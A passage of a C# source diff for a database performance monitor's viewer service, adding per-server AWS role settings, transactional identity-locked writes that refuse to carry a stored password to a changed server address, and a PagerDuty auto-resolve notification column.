 SELECT server_id, name, host, database, auth, username, encrypt_mode,
        trust_server_certificate, read_only_intent, multi_subnet_failover, excluded_databases,
-       monthly_cost_usd, capture_plans, is_enabled, created_at, alert_delivery_mode_override, engine, port
+       monthly_cost_usd, capture_plans, is_enabled, created_at, alert_delivery_mode_override, engine, port,
+       aws_role_arn, aws_external_id_set
 FROM config_monitored_servers
 WHERE server_id = $1";
 
@@ -175,7 +208,8 @@ FROM config_monitored_servers
     public const string MonitoredServerByAddressSql = @"
 SELECT server_id, name, host, database, auth, username, encrypt_mode,
        trust_server_certificate, read_only_intent, multi_subnet_failover, excluded_databases,
-       monthly_cost_usd, capture_plans, is_enabled, created_at, alert_delivery_mode_override, engine, port
+       monthly_cost_usd, capture_plans, is_enabled, created_at, alert_delivery_mode_override, engine, port,
+       aws_role_arn, aws_external_id_set
 FROM config_monitored_servers
 WHERE host = $1
 AND   database IS NOT DISTINCT FROM $2
@@ -403,30 +437,265 @@ public async Task<long> GetMonitoredServerCountAsync(CancellationToken cancellat
     /// changes (#2158), so the write lands on the row that already owns it. An ADD does not come through here
     /// (#4789): it goes through <see cref="AddMonitoredServerAsync"/>, which refuses to overwrite a different
     /// server that hashes to the same id.
+    ///
+    /// <para><b>One transaction, behind the identity lock (#5240).</b> The dialog's address check ran before this
+    /// call, so another writer (a web or MCP edit, an add) can claim the address in between, and the upsert's
+    /// <c>ON CONFLICT (server_id)</c> arm is no help: an edit keeps its row's old id, so a second row with the same
+    /// address is not a conflict on the id. The write therefore takes <see cref="MonitoredServerIdentityLockSql"/>
+    /// first, reads every other definition's address again under it, and writes only when the address is still
+    /// free. A claimed address throws <see cref="MonitoredServerAddressClaimedException"/> and nothing is written; the
+    /// dialog's save handler catches that type on its own and shows its message as it is.</para>
+    ///
+    /// <para><b>A move never carries the stored password along (#5240).</b> The upsert rewrites
+    /// <c>encrypted_password</c> from the row it is given, so a row handed in with the blob it was read with would
+    /// send the stored password to a new address. Under the same lock, the write therefore reads the stored host, port
+    /// and blob, and when a SQL or service-principal row's host or port differs, it writes only a row that carries a
+    /// newly protected password: a missing blob, or the stored one, throws <see cref="MonitoredServerPasswordNeededException"/>
+    /// and nothing is written. The rule is the web and MCP edit's (<c>DarlingMcpServerAdminTools.PlanEdit</c> and the
+    /// store's edit function), with the same sentence; every other change keeps the stored password as before.</para>
     /// </summary>
     public async Task UpsertMonitoredServerAsync(MonitoredServerRow row, CancellationToken cancellationToken = default)
     {
         ArgumentNullException.ThrowIfNull(row);
 
-        await using var command = _dataSource.CreateCommand(MonitoredServerUpsertSql);
+        await using var connection = await _dataSource.OpenConnectionAsync(cancellationToken);
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+
+        /* The row an edit rewrites is not a claimant of its own address. A refusal throws out of this block and
+           the transaction's disposal rolls it back, which releases the lock. */
+        var claimant = await TakeIdentityLockAndFindClaimantAsync(connection, transaction, row, row.ServerId, cancellationToken);
+        if (claimant is not null)
+        {
+            throw new MonitoredServerAddressClaimedException(claimant);
+        }
+
+        await RefuseStoredPasswordOnMovedReachAsync(connection, transaction, row, cancellationToken);
+
+        await using var command = new NpgsqlCommand(MonitoredServerUpsertSql, connection, transaction);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         BindMonitoredServer(command, row);
-        await ExecuteWriteAsync(command, cancellationToken);
+        command.Parameters.Add(new NpgsqlParameter<bool> { TypedValue = row.AwsExternalIdSent });       // $21
+        try
+        {
+            await ExecuteWriteAsync(command, cancellationToken);
+        }
+        catch (PostgresException ex) when (ex.SqlState == StoreMovedKeepingPasswordSqlState)
+        {
+            /* The store's own rule (a trigger on the table) refused a change of how the server is reached that keeps the
+               stored password: the same answer as the check above, for a row that changed between that read and the write. */
+            throw new MonitoredServerPasswordNeededException();
+        }
+        catch (PostgresException ex) when (ex.SqlState == StoreRemediationKeptSqlState)
+        {
+            /* The store's rule for a row that holds a remediation login: a connection change by this role is refused. */
+            throw new MonitoredServerPasswordNeededException(RemediationKeptText);
+        }
+        catch (PostgresException ex) when (ex.SqlState == StoreAwsRoleNeedsExternalIdSqlState)
+        {
+            /* #5452: the store's rule that a new AWS role never keeps the external ID stored for the old one unseen. The
+               admin seat does not own the table, so the trigger holds it to this; the dialog checks first, so this is
+               the answer for a row that changed between that check and the write. */
+            throw new MonitoredServerPasswordNeededException(AwsRoleSettings.RoleChangeNeedsExternalIdMessage);
+        }
+
+        await transaction.CommitAsync(cancellationToken);
+    }
+
+    /// <summary>The SQLSTATE the store's trigger raises for a new AWS role that keeps the external ID stored for the old
+    /// one (#5452).</summary>
+    internal const string StoreAwsRoleNeedsExternalIdSqlState = "PW004";
+
+    /// <summary>The SQLSTATE the store's trigger on <c>config_monitored_servers</c> raises for a change of how a server is
+    /// reached that keeps its stored password.</summary>
+    internal const string StoreMovedKeepingPasswordSqlState = "PW002";
+
+    /// <summary>The SQLSTATE the store's trigger raises for a change of how a server is reached on a row that holds a
+    /// remediation secret, made by a role that does not own the table.</summary>
+    internal const string StoreRemediationKeptSqlState = "PW003";
+
+    /// <summary>The sentence a refused change on a row with a remediation login gives: the one in
+    /// <see cref="ServerConnectionRule.RemediationKeptText"/>, which the web and MCP edit answer with too.</summary>
+    public const string RemediationKeptText = ServerConnectionRule.RemediationKeptText;
+
+    /// <summary>The sentence a refused move gives: the one in <see cref="ServerConnectionRule.PasswordNeededOnMoveText"/>,
+    /// which the web and MCP edit answer with too.</summary>
+    public const string EditPasswordNeededText = ServerConnectionRule.PasswordNeededOnMoveText;
+
+    /// <summary>The stored connection settings (host, port, engine, database, read-only intent, auth, username, encrypt mode,
+    /// trust certificate, multi-subnet failover), whether the stored blob is the one a row carries, and whether the row holds a
+    /// remediation secret, for one server id ($1 id, $2 the row's blob). Reads the two secret columns only to compare them
+    /// and test for a value, in the write's own transaction: an <c>admin</c>-role write, like the upsert it guards.</summary>
+    public const string MonitoredServerStoredReachSql = @"
+SELECT host, COALESCE(port, 0), engine, database, read_only_intent, auth, username, encrypt_mode, trust_server_certificate,
+       multi_subnet_failover, COALESCE(encrypted_password = $2, false), COALESCE(remediation_encrypted_password, '') <> ''
+FROM config_monitored_servers
+WHERE server_id = $1";
+
+    /// <summary>The sentence a switch into SQL authentication gives when no new password comes with it: the edit core's
+    /// (<c>DarlingMcpServerAdminTools.PlanEdit</c>). The core's sentence is an inline literal, so
+    /// <c>ServerEditPasswordRuleViewerTests</c> drives the core and fails if the two texts differ.</summary>
+    public const string EditSwitchToSqlNeedsPasswordText = "Switching to SQL authentication needs the password.";
+
+    /// <summary>The service-principal twin of <see cref="EditSwitchToSqlNeedsPasswordText"/>.</summary>
+    public const string EditSwitchToServicePrincipalNeedsSecretText =
+        "Switching to ServicePrincipal authentication needs the client secret as password.";
+
+    /// <summary>
+    /// Refuses (throws <see cref="MonitoredServerPasswordNeededException"/>) a write that changes how a stored server is
+    /// reached (any setting <see cref="ServerConnectionIdentity.Differ"/> compares: host, port, engine,
+    /// database, read-only intent, authentication, username, encrypt mode, trust certificate, multi-subnet failover) before
+    /// anything is written. A row that holds a remediation secret refuses any such change with
+    /// <see cref="RemediationKeptText"/>, whatever its authentication mode. For a SQL or service-principal row, a change
+    /// that carries no newly entered password (the row's blob is missing, or is the stored one) is refused too: a switch
+    /// of auth mode gets the core's switch sentence, ahead of the change sentence, as in the core. A Windows or
+    /// managed-identity row stores no secret and is otherwise never refused; a row that is not in the store yet has nothing
+    /// to reuse. Runs inside the caller's transaction, after the identity lock.
+    /// </summary>
+    private async Task RefuseStoredPasswordOnMovedReachAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, MonitoredServerRow row, CancellationToken cancellationToken)
+    {
+        ServerConnectionIdentity stored;
+        bool carriesStoredBlob;
+        bool holdsRemediationSecret;
+        try
+        {
+            await using var command = new NpgsqlCommand(MonitoredServerStoredReachSql, connection, transaction);
+            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = row.ServerId });
+            AddNullableText(command, row.EncryptedPassword);
+            await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+            if (!await reader.ReadAsync(cancellationToken))
+            {
+                return;
+            }
+
+            stored = ServerConnectionIdentity.FromStoredColumns(
+                reader.GetString(0), reader.GetInt32(1), reader.IsDBNull(2) ? null : reader.GetString(2),
+                reader.IsDBNull(3) ? null : reader.GetString(3), !reader.IsDBNull(4) && reader.GetBoolean(4),
+                reader.IsDBNull(5) ? null : reader.GetString(5), reader.IsDBNull(6) ? null : reader.GetString(6),
+                reader.IsDBNull(7) ? null : reader.GetString(7), !reader.IsDBNull(8) && reader.GetBoolean(8),
+                !reader.IsDBNull(9) && reader.GetBoolean(9));
+            carriesStoredBlob = reader.GetBoolean(10);
+            holdsRemediationSecret = reader.GetBoolean(11);
+        }
+        catch (PostgresException ex) when (ex.SqlState == InsufficientPrivilegeSqlState)
+        {
+            throw new ViewerReadOnlyException(ex);
+        }
+        catch (PostgresException ex) when (ex.SqlState is UndefinedColumnSqlState or UndefinedTableSqlState)
+        {
+            throw new ViewerSchemaSkewException(ex);
+        }
+
+        var incoming = ViewerPasswordSealer.IdentityOf(row);
+        var connectionChanged = ServerConnectionIdentity.Differ(incoming, stored);
+
+        if (holdsRemediationSecret && connectionChanged)
+        {
+            throw new MonitoredServerPasswordNeededException(RemediationKeptText);
+        }
+
+        if (!string.Equals(row.Auth, ServerStoreCredential.Sql, StringComparison.OrdinalIgnoreCase)
+            && !string.Equals(row.Auth, ServerStoreCredential.ServicePrincipal, StringComparison.OrdinalIgnoreCase))
+        {
+            return;
+        }
+
+        if (!string.IsNullOrEmpty(row.EncryptedPassword) && !carriesStoredBlob)
+        {
+            return;
+        }
+
+        if (!string.Equals(stored.Auth, row.Auth, StringComparison.OrdinalIgnoreCase))
+        {
+            throw new MonitoredServerPasswordNeededException(
+                string.Equals(row.Auth, ServerStoreCredential.ServicePrincipal, StringComparison.OrdinalIgnoreCase)
+                    ? EditSwitchToServicePrincipalNeedsSecretText
+                    : EditSwitchToSqlNeedsPasswordText);
+        }
+
+        if (connectionChanged)
+        {
+            throw new MonitoredServerPasswordNeededException();
+        }
+    }
+
+    /// <summary>The address (storage key) a definition is stored under: the same five columns, folded the same way,
+    /// that the collectors, the service's seed and the web and MCP writers key a server on
+    /// (<see cref="ComputeServerId"/> hashes it).</summary>
+    private static string StorageKeyOf(MonitoredServerRow row) =>
+        ServerIdHelper.BuildStorageName(row.Host, row.Database, row.ReadOnlyIntent, row.Engine, row.Port);
+
+    /// <summary>
+    /// The first two steps of every identity write (#5240), inside the caller's open transaction: take
+    /// <see cref="MonitoredServerIdentityLockSql"/>, then read every definition again (secret-free, the list
+    /// projection) and return the one that already holds <paramref name="candidate"/>'s address, or null when the
+    /// address is free. The address is compared the way the service's add and edit compare it: the storage key,
+    /// case-insensitively. <paramref name="exceptServerId"/> is the row an edit rewrites, which never counts as the
+    /// claimant of its own address; an add passes null. The caller ends the transaction, which releases the lock, and a
+    /// caller that returns without committing rolls back.
+    /// </summary>
+    private static async Task<MonitoredServerRow?> TakeIdentityLockAndFindClaimantAsync(
+        NpgsqlConnection connection, NpgsqlTransaction transaction, MonitoredServerRow candidate, int? exceptServerId,
+        CancellationToken cancellationToken)
+    {
+        try
+        {
+            await using (var identityLock = new NpgsqlCommand(MonitoredServerIdentityLockSql, connection, transaction))
+            {
+                identityLock.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+                await identityLock.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            var candidateKey = StorageKeyOf(candidate);
+            await using var definitions = new NpgsqlCommand(MonitoredServersSelectSql, connection, transaction);
+            definitions.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            await using var reader = await definitions.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                var existing = ReadMonitoredServerRowNoSecret(reader);
+                if (existing.ServerId != exceptServerId
+                    && string.Equals(StorageKeyOf(existing), candidateKey, StringComparison.OrdinalIgnoreCase))
+                {
+                    return existing;
+                }
+            }
+
+            return null;
+        }
+        catch (PostgresException ex) when (ex.SqlState is UndefinedColumnSqlState or UndefinedTableSqlState)
+        {
+            /* The write executors' own translation: a store behind this viewer's schema says so, in words. */
+            throw new ViewerSchemaSkewException(ex);
+        }
     }
 
     /// <summary>
     /// Inserts a server definition only when its <c>server_id</c> is absent — the migrate-in. Returns true
     /// when a row was actually written (so the caller can count the imported servers), false when the id
     /// already existed (the service seed or a prior migrate already has it).
+    ///
+    /// <para>It gives a definition an address, so it is an identity write like <see cref="AddMonitoredServerAsync"/>
+    /// (#5240): one transaction behind <see cref="MonitoredServerIdentityLockSql"/>, and an address another
+    /// definition already holds, under whatever id, is refused the same way a taken id is: false, nothing written.</para>
     /// </summary>
     public async Task<bool> InsertMonitoredServerIfAbsentAsync(MonitoredServerRow row, CancellationToken cancellationToken = default)
     {
         ArgumentNullException.ThrowIfNull(row);
 
-        await using var command = _dataSource.CreateCommand(MonitoredServerInsertIfAbsentSql);
+        await using var connection = await _dataSource.OpenConnectionAsync(cancellationToken);
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+        if (await TakeIdentityLockAndFindClaimantAsync(connection, transaction, row, null, cancellationToken) is not null)
+        {
+            return false;
+        }
+
+        await using var command = new NpgsqlCommand(MonitoredServerInsertIfAbsentSql, connection, transaction);
         command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
         BindMonitoredServer(command, row);
-        return await ExecuteWriteAsync(command, cancellationToken) > 0;
+        var written = await ExecuteWriteAsync(command, cancellationToken) > 0;
+        await transaction.CommitAsync(cancellationToken);
+        return written;
     }
 
     /// <summary>
@@ -443,18 +712,46 @@ public async Task<bool> InsertMonitoredServerIfAbsentAsync(MonitoredServerRow ro
     ///
     /// <para>An edit does not come through here: it keeps its row's id when the address changes (#2158) and still
     /// updates in place through <see cref="UpsertMonitoredServerAsync"/>.</para>
+    ///
+    /// <para><b>One transaction, behind the identity lock (#5240).</b> The id check above only sees a row that holds
+    /// THIS id, and an edit keeps its row's old id, so an edit that moved another server onto this address a moment
+    /// ago is invisible to it: the insert would land and two servers would hold one address. The add therefore takes
+    /// <see cref="MonitoredServerIdentityLockSql"/> first, reads every definition's address again under it, and
+    /// answers <see cref="MonitoredServerAddOutcome.Duplicate"/>, naming the definition that holds it, when the address is
+    /// claimed: the same meaning the service's add gives a key claimed in the meantime. Only a free address reaches the
+    /// insert, in the same transaction, and the holder of a taken id is read in it too.</para>
     /// </summary>
     public async Task<MonitoredServerAddResult> AddMonitoredServerAsync(MonitoredServerRow row, CancellationToken cancellationToken = default)
     {
         ArgumentNullException.ThrowIfNull(row);
 
-        if (await InsertMonitoredServerIfAbsentAsync(row, cancellationToken))
+        await using var connection = await _dataSource.OpenConnectionAsync(cancellationToken);
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+
+        /* A claimed address returns without committing: the transaction's disposal rolls back, which releases the
+           lock. A new add has no row of its own to leave out, so no id is excepted. */
+        var claimant = await TakeIdentityLockAndFindClaimantAsync(connection, transaction, row, null, cancellationToken);
+        if (claimant is not null)
         {
+            return new MonitoredServerAddResult(MonitoredServerAddOutcome.Duplicate, claimant);
+        }
+
+        int written;
+        await using (var insert = new NpgsqlCommand(MonitoredServerInsertIfAbsentSql, connection, transaction))
+        {
+            insert.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            BindMonitoredServer(insert, row);
+            written = await ExecuteWriteAsync(insert, cancellationToken);
+        }
+
+        if (written > 0)
+        {
+            await transaction.CommitAsync(cancellationToken);
             return new MonitoredServerAddResult(MonitoredServerAddOutcome.Added, null);
         }
 
         MonitoredServerRow? occupant;
-        await using (var command = _dataSource.CreateCommand(MonitoredServerByIdNoSecretSql))
+        await using (var command = new NpgsqlCommand(MonitoredServerByIdNoSecretSql, connection, transaction))
         {
             command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
             command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = row.ServerId });
@@ -499,13 +796,21 @@ public static MonitoredServerAddOutcome ClassifyAddAgainstOccupant(MonitoredServ
         return sameIdentity ? MonitoredServerAddOutcome.Duplicate : MonitoredServerAddOutcome.Collides;
     }
 
-    /// <summary>Removes a server definition by id (the Remove action).</summary>
+    /// <summary>Removes a server definition by id (the Remove action), and the server's tag assignments in the
+    /// same transaction, so a re-added server (same id) does not get its old tags back.</summary>
     public async Task DeleteMonitoredServerAsync(int serverId, CancellationToken cancellationToken = default)
     {
-        await using var command = _dataSource.CreateCommand(MonitoredServerDeleteSql);
-        command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
-        await ExecuteWriteAsync(command, cancellationToken);
+        await using var connection = await _dataSource.OpenConnectionAsync(cancellationToken);
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+        foreach (var sql in new[] { MonitoredServerDeleteSql, ServerTagStore.ClearForServerSql })
+        {
+            await using var command = new NpgsqlCommand(sql, connection, transaction);
+            command.CommandTimeout = ViewerCommandDeadlines.CurrentInteractiveReadSeconds;
+            command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = serverId });
+            await ExecuteWriteAsync(command, cancellationToken);
+        }
+
+        await transaction.CommitAsync(cancellationToken);
     }
 
     /// <summary>Toggles a server's <c>is_enabled</c> flag without rewriting its other columns.</summary>
@@ -528,7 +833,7 @@ public async Task SetMonitoredServerExcludedDatabasesAsync(int serverId, IEnumer
         await ExecuteWriteAsync(command, cancellationToken);
     }
 
-    /// <summary>Binds the 18 upsert/insert parameters ($1..$18) from a row (created_at/modified_at are server-side).</summary>
+    /// <summary>Binds the 20 upsert/insert parameters ($1..$20) from a row (created_at/modified_at are server-side).</summary>
     private static void BindMonitoredServer(NpgsqlCommand command, MonitoredServerRow row)
     {
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = row.ServerId });                 // $1
@@ -552,6 +857,9 @@ private static void BindMonitoredServer(NpgsqlCommand command, MonitoredServerRo
            MonitoredServer.TargetEngine stays the only interpreter; port 0 = the driver's default (5432). */
         command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = row.Engine });                 // $17
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = row.Port });                     // $18
+        /* #5452: the per-server AWS role and its optional external ID; null = "use the service's own credentials". */
+        AddNullableText(command, row.AwsRoleArn);                                                        // $19
+        AddNullableText(command, row.AwsExternalId);                                                     // $20
     }
 
     private static MonitoredServerRow ReadMonitoredServerRow(NpgsqlDataReader reader) => new()
@@ -575,6 +883,8 @@ private static void BindMonitoredServer(NpgsqlCommand command, MonitoredServerRo
         AlertDeliveryModeOverride = ParseDeliveryOverride(reader.IsDBNull(16) ? null : reader.GetString(16)),
         Engine = reader.GetString(17),
         Port = reader.GetInt32(18),
+        AwsRoleArn = reader.IsDBNull(19) ? null : reader.GetString(19),
+        AwsExternalIdSet = reader.GetBoolean(20),
     };
 
     /// <summary>
@@ -606,6 +916,9 @@ private static void BindMonitoredServer(NpgsqlCommand command, MonitoredServerRo
         AlertDeliveryModeOverride = ParseDeliveryOverride(reader.IsDBNull(15) ? null : reader.GetString(15)),
         Engine = reader.GetString(16),
         Port = reader.GetInt32(17),
+        /* #5452: the role and whether an external ID is stored; never the ID itself, which the read-only roles cannot select. */
+        AwsRoleArn = reader.IsDBNull(18) ? null : reader.GetString(18),
+        AwsExternalIdSet = reader.GetBoolean(19),
     };
 
     private static void AddTextArray(NpgsqlCommand command, IEnumerable<string>? values) =>
@@ -634,7 +947,7 @@ private static void AddNullableBool(NpgsqlCommand command, bool? value) =>
 /// store (and hence the service) has — now INCLUDING the per-server alert-delivery override (#1236, V18, the
 /// service honors it at delivery time); the remaining viewer-only cosmetics some Lite fields kept (description,
 /// utility DB, the Azure client ids) are NOT part of the service-honored server model and stay out of the store.
-/// <see cref="EncryptedPassword"/> is a DPAPI-LocalMachine blob, never plaintext. Favorites remain viewer-local
+/// <see cref="EncryptedPassword"/> is the sealed password (or an older DPAPI-LocalMachine blob), never plaintext. Favorites remain viewer-local
 /// (<see cref="ViewerServerStore"/>).
 /// </summary>
 public sealed class MonitoredServerRow
@@ -678,7 +991,7 @@ public sealed class MonitoredServerRow
 
     public string? Username { get; set; }
 
-    /// <summary>DPAPI-LocalMachine base64 blob (<see cref="ViewerServerSecret.Protect"/>), or null for integrated auth.</summary>
+    /// <summary>The sealed password (<see cref="ViewerPasswordSealer.Seal"/>; an older row may hold a DPAPI blob), or null for integrated auth.</summary>
     public string? EncryptedPassword { get; set; }
 
     public string EncryptMode { get; set; } = "Mandatory";
@@ -697,6 +1010,24 @@ public sealed class MonitoredServerRow
 
     public bool IsEnabled { get; set; } = true;
 
+    /// <summary>The IAM role the service assumes to reach an Amazon RDS or Aurora PostgreSQL target (#5452), or null
+    /// to use the service's own credentials. Stored in <c>aws_role_arn</c>; the service uses it only if it is
+    /// allowed (<c>allowedAwsRoles</c> or a darling.json server).</summary>
+    public string? AwsRoleArn { get; set; }
+
+    /// <summary>The external ID to store with the role, or null. Write-only: no read fills it, and a stored ID
+    /// is never read back. An insert stores it as given; the upsert stores it only when
+    /// <see cref="AwsExternalIdSent"/> is set (typed, or null for "cleared") and keeps the stored one otherwise.</summary>
+    public string? AwsExternalId { get; set; }
+
+    /// <summary>The edit typed a new external ID, or cleared it: the upsert then writes <see cref="AwsExternalId"/>
+    /// (null clears). Not set, the stored ID stays.</summary>
+    public bool AwsExternalIdSent { get; set; }
+
+    /// <summary>Whether an external ID is stored (<c>aws_external_id_set</c>, which the store computes). It is not
+    /// written.</summary>
+    public bool AwsExternalIdSet { get; set; }
+
     /// <summary>Server-set creation time (read-only, from the store's <c>created_at</c>); null when not read.</summary>
     public DateTime? CreatedAt { get; set; }
 }
@@ -707,8 +1038,10 @@ public enum MonitoredServerAddOutcome
     /// <summary>The <c>server_id</c> was free and the row was written.</summary>
     Added,
 
-    /// <summary>The <c>server_id</c> is held by the SAME server (same host, database, read-only intent, engine and
-    /// port): it is already monitored. Nothing was written.</summary>
+    /// <summary>The SAME server (same host, database, read-only intent, engine and port) is already monitored:
+    /// its definition holds this <c>server_id</c>, or holds the address under an older id because an edit moved it
+    /// there (#5240), which is what an add that finds the address claimed under the identity lock answers.
+    /// Nothing was written.</summary>
     Duplicate,
 
     /// <summary>The <c>server_id</c> is held by a DIFFERENT server: the two identities hash to one id. Nothing was
@@ -724,3 +1057,47 @@ public enum MonitoredServerAddOutcome
 /// taken, the secret-free row that holds it (the server to name in the refusal). <see cref="Occupant"/> is null
 /// for <see cref="MonitoredServerAddOutcome.Added"/> and <see cref="MonitoredServerAddOutcome.NotSaved"/>.</summary>
 public sealed record MonitoredServerAddResult(MonitoredServerAddOutcome Outcome, MonitoredServerRow? Occupant);
+
+/// <summary>
+/// <see cref="ViewerDataService.UpsertMonitoredServerAsync"/> refused an edit (#5240): it moves a SQL or
+/// service-principal server's connection settings and carries no newly entered password, so the stored one would have been
+/// sent to the changed connection, or it changes how a server with a remediation login is reached, or it switches between SQL and service-principal authentication and keeps the stored
+/// secret. The message is <see cref="ViewerDataService.EditPasswordNeededText"/> for a change, the switch sentence for
+/// a switch, <see cref="ViewerDataService.RemediationKeptText"/> for a remediation row; the dialog's save
+/// handler shows it as it is, as it does a claimed address.
+/// </summary>
+public sealed class MonitoredServerPasswordNeededException : InvalidOperationException
+{
+    public MonitoredServerPasswordNeededException()
+        : base(ViewerDataService.EditPasswordNeededText)
+    {
+    }
+
+    /// <summary>A refusal with the edit core's switch sentence (<see cref="ViewerDataService.EditSwitchToSqlNeedsPasswordText"/>
+    /// or its service-principal twin).</summary>
+    public MonitoredServerPasswordNeededException(string message)
+        : base(message)
+    {
+    }
+}
+
+/// <summary>
+/// <see cref="ViewerDataService.UpsertMonitoredServerAsync"/> refused an edit (#5240): under the identity lock,
+/// another definition already holds the address the edit moves this server to, so nothing was written. The same
+/// meaning as <see cref="MonitoredServerAddOutcome.Duplicate"/> for an add. The Add/Edit dialog's save handler catches
+/// this type before its general catch and shows the message as it is (no "Error saving server:" prefix, nothing
+/// logged at error level), so the operator reads why without new UI.
+/// </summary>
+public sealed class MonitoredServerAddressClaimedException : InvalidOperationException
+{
+    public MonitoredServerAddressClaimedException(MonitoredServerRow claimant)
+        : base(
+            "Already monitored: another change to the server list claimed this address (host, database, read-only intent, " +
+            "engine and port) while this one was saving, so nothing was changed.")
+    {
+        Claimant = claimant;
+    }
+
+    /// <summary>The secret-free row that holds the address.</summary>
+    public MonitoredServerRow Claimant { get; }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Notification.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Notification.cs
index c501798dbe..73ca882bf8 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Notification.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Notification.cs
@@ -26,24 +26,23 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// through <see cref="ExecuteWriteAsync"/> so a read-only seat degrades to <see cref="ViewerReadOnlyException"/>.
 /// The single global row is <c>id = 1</c>; <c>modified_at</c> is server-side naive-UTC.</para>
 ///
-/// <para><b>The SMTP secret.</b> <c>smtp_encrypted_password</c> is NEVER plaintext in Postgres — it is the
-/// DPAPI-LocalMachine blob <see cref="ViewerServerSecret.Protect"/> produces, the SAME format the service's
-/// <c>DarlingAlertSettings.GetSmtpPassword</c> reads back with <c>DarlingSecrets.Unprotect</c> (identical
-/// entropy + scope, pinned by a Darling.Tests round-trip). The managed single-box deploy (viewer + service on
-/// one host) shares the machine DPAPI key, so the service decrypts what the viewer sealed. The webhook URLs
+/// <para><b>The SMTP secret.</b> <c>smtp_encrypted_password</c> is NEVER plaintext in Postgres — the viewer seals
+/// it to the service's published key (<see cref="ViewerPasswordSealer.SealSmtp"/>) for the host, port, SSL flag and
+/// user name it is written with, and the service's <c>DarlingAlertSettings.GetSmtpPassword</c> opens it for those same
+/// four values (#5366). A value saved before passwords were sealed is kept as it is until a new password is typed. The webhook URLs
 /// carry as plain text in <c>teams_url</c>/<c>slack_url</c> exactly as darling.json holds them (the service
 /// treats a channel as enabled by a non-empty URL — so a disabled channel writes an EMPTY url, matching the
 /// service's <c>TeamsWebhookEnabled =&gt; !IsNullOrWhiteSpace(TeamsUrl)</c> derivation).</para>
 /// </summary>
 public sealed partial class ViewerDataService
 {
-    /* The 19 SmtpConfig + WebhooksConfig columns in the SAME order the service reads them
+    /* The 20 SmtpConfig + WebhooksConfig columns in the SAME order the service reads them
        (StoreConfigProvider.ReadNotificationAsync), so the parity test pins one list against both ends. */
     private const string NotificationColumns =
         "smtp_host, smtp_port, smtp_use_ssl, smtp_username, smtp_encrypted_password, smtp_from_address, " +
         "smtp_recipients, email_cooldown_minutes, teams_url, teams_proxy, slack_url, slack_proxy, " +
         "generic_url, generic_headers, generic_body_template, generic_proxy, " +
-        "pagerduty_routing_key, pagerduty_use_eu_region, pagerduty_proxy";
+        "pagerduty_routing_key, pagerduty_use_eu_region, pagerduty_proxy, pagerduty_auto_resolve";
 
     /// <summary>The single global notification row (id=1), for the Settings window prefill + migrate-in check.</summary>
     public const string NotificationSelectSql =
@@ -58,7 +57,7 @@ public sealed partial class ViewerDataService
     private const string NotificationNonSecretColumns =
         "smtp_host, smtp_port, smtp_use_ssl, smtp_from_address, smtp_recipients, " +
         "email_cooldown_minutes, teams_proxy, slack_proxy, generic_body_template, generic_proxy, " +
-        "pagerduty_use_eu_region, pagerduty_proxy";
+        "pagerduty_use_eu_region, pagerduty_proxy, pagerduty_auto_resolve";
 
     /// <summary>The secret-free notification projection a read-only <c>viewer</c> seat reads (D7 degradation):
     /// the four carved secret columns are omitted, so it never 42501s for a viewer. The secret fields come back
@@ -67,10 +66,10 @@ public sealed partial class ViewerDataService
         "SELECT " + NotificationNonSecretColumns + " FROM config_notification WHERE id = 1";
 
     /// <summary>Upserts the single global notification row (Settings window Save). ON CONFLICT rewrites every
-    /// column and bumps <c>config_version</c> via the V17 trigger. $1..$19 in <see cref="NotificationColumns"/> order.</summary>
+    /// column and bumps <c>config_version</c> via the V17 trigger. $1..$20 in <see cref="NotificationColumns"/> order.</summary>
     public const string NotificationUpsertSql = @"
 INSERT INTO config_notification (id, " + NotificationColumns + @", modified_at)
-VALUES (1, $1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, (now() AT TIME ZONE 'UTC'))
+VALUES (1, $1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, $14, $15, $16, $17, $18, $19, $20, (now() AT TIME ZONE 'UTC'))
 ON CONFLICT (id) DO UPDATE SET
     smtp_host = EXCLUDED.smtp_host,
     smtp_port = EXCLUDED.smtp_port,
@@ -91,6 +90,7 @@ ON CONFLICT (id) DO UPDATE SET
     pagerduty_routing_key = EXCLUDED.pagerduty_routing_key,
     pagerduty_use_eu_region = EXCLUDED.pagerduty_use_eu_region,
     pagerduty_proxy = EXCLUDED.pagerduty_proxy,
+    pagerduty_auto_resolve = EXCLUDED.pagerduty_auto_resolve,
     modified_at = (now() AT TIME ZONE 'UTC')";
 
     /// <summary>Reads the single global notification row, or null when the store has not seeded it yet. A
@@ -140,6 +140,7 @@ public async Task UpsertNotificationAsync(NotificationRow row, CancellationToken
         command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = row.PagerDutyRoutingKey }); // $17
